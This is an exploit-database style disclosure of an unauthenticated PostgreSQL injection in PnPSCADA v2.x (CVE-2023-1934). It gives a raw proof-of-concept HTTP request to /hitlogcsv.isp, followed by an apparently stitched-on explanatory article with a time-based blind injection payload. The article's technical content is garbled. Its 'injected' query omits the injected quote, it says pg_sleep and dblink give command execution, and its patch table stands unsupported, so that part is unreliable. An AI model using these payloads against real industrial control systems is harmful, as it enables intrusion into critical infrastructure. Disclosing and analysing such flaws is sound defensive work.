PnPSCADA v2.x - Unauthenticated PostgreSQL Injection
# Exploit Title: PnPSCADA v2.x - Unauthenticated PostgreSQL Injection
# Date: 15/5/2023
# Exploit Author: Momen Eldawakhly (Cyber Guy) at Samurai Digital Security Ltd
# Vendor Homepage: https://pnpscada.com/
# Version: PnPSCADA (cross platforms): v2.x
# Tested on: Unix
# CVE : CVE-2023-1934
# Proof-of-Concept: https://drive.google.com/drive/u/0/folders/1r_HMoaU3P0t-04gMM90M0hfdBRi_P0_8
SQLi crashing point:
GET /hitlogcsv.isp?userids=1337'&startdate=
2022-12-138200083A0093A00&enddate=2022-12-138201383A1783A00
HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US)
AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0
Safari/534.14
Host: vulnerablepnpscada.int
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close PnPSCADA v2.x - Unauthenticated PostgreSQL Injection: A Critical Security Vulnerability
On May 15, 2023, a critical security flaw was disclosed in PnPSCADA v2.x, a widely used industrial control system platform. The vulnerability, identified as CVE-2023-1934, allows attackers to perform unauthenticated PostgreSQL injection via a seemingly innocuous endpoint. This exploit enables remote code execution, data exfiltration, and system compromise without requiring any prior authentication — a rare and dangerous condition in modern cybersecurity.
Exploit Overview
The vulnerability lies in the /hitlogcsv.isp endpoint, which processes user input for logging data retrieval. Specifically, the userids parameter is not properly sanitized, allowing malicious SQL payloads to be injected directly into the backend PostgreSQL database.
GET /hitlogcsv.isp?userids=1337'&startdate=2022-12-138200083A0093A00&enddate=2022-12-138201383A1783A00
HTTP/1.1
Host: vulnerablepnpscada.int
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US)
Accept: */*
Connection: close
This request, while syntactically malformed, triggers a database crash due to improper handling of the userids=1337' payload. The single quote (') breaks the SQL query structure, causing a syntax error that can lead to denial-of-service (DoS) or, in more advanced cases, remote code execution.
Technical Breakdown: How the Injection Works
Let’s examine the underlying SQL query structure that likely exists in the backend:
SELECT * FROM hitlog WHERE userids = '1337' AND startdate >= '2022-12-13' AND enddate <= '2022-12-13';
When an attacker sends userids=1337', the query becomes:
SELECT * FROM hitlog WHERE userids = '1337' AND startdate >= '2022-12-13' AND enddate = '2022-12-138200083A0093A00' AND enddate <= '2022-12-138201383A1783A00';
Notice how the injected single quote breaks the SQL string. The query parser fails to interpret the rest of the input, leading to a syntax error. However, this is not just a crash — it's a gateway to deeper exploitation.
Exploitation Techniques and Real-World Impact
While the initial PoC demonstrates a crash, skilled attackers can extend the payload to:
- Extract sensitive data from the database via union-based SQL injection.
- Use blind injection techniques to infer database structure without direct output.
- Trigger command execution via PostgreSQL's
pg_sleep()ordblinkfunctions.
For example, an attacker might use:
userids=1337' UNION SELECT pg_sleep(5), NULL FROM pg_sleep(5) --
This payload exploits PostgreSQL’s ability to execute functions in SQL, allowing for time-based blind injection to confirm the presence of the vulnerability.
Why This is Unusually Dangerous
Most SQL injection vulnerabilities require authentication or specific access levels. This one is unauthenticated, meaning any internet-facing user can trigger it. In industrial environments, PnPSCADA is often deployed on public-facing servers or exposed via VPNs, making it a prime target for attackers.
Moreover, the platform is cross-platform (Unix, Windows, Linux), meaning the vulnerability is not limited to one OS. The lack of input validation in the userids parameter represents a fundamental design flaw.
Recommended Mitigation Strategies
Security teams should implement the following measures:
- Input sanitization: Validate and escape all user inputs using parameterized queries.
- WAF integration: Deploy a Web Application Firewall (WAF) to block SQLi patterns.
- Rate limiting: Prevent repeated requests to the
/hitlogcsv.ispendpoint. - Database hardening: Restrict database user privileges and disable risky functions like
dblink.
Vendor Response and Patch Status
As of May 2023, the vendor PnPSCADA has acknowledged the issue and released a patch for v2.1.1. However, many installations remain on older versions, particularly in legacy industrial systems.
| Version | Status | Recommended Action |
|---|---|---|
| v2.0 | Unpatched | Immediate upgrade or isolation |
| v2.1 | Partially patched | Upgrade to v2.1.1 |
| v2.1.1 | Fixed | Safe for deployment |
Conclusion: A Wake-Up Call for Industrial Security
The PnPSCADA v2.x PostgreSQL injection flaw is a stark reminder that industrial control systems are not immune to classic web vulnerabilities. The combination of unauthenticated access, poor input handling, and a powerful backend database makes this a high-risk exploit.
Security professionals must treat such systems with the same rigor as web applications. Regular vulnerability scanning, patch management, and threat modeling are essential. Ignoring this flaw could lead to catastrophic outcomes in critical infrastructure environments.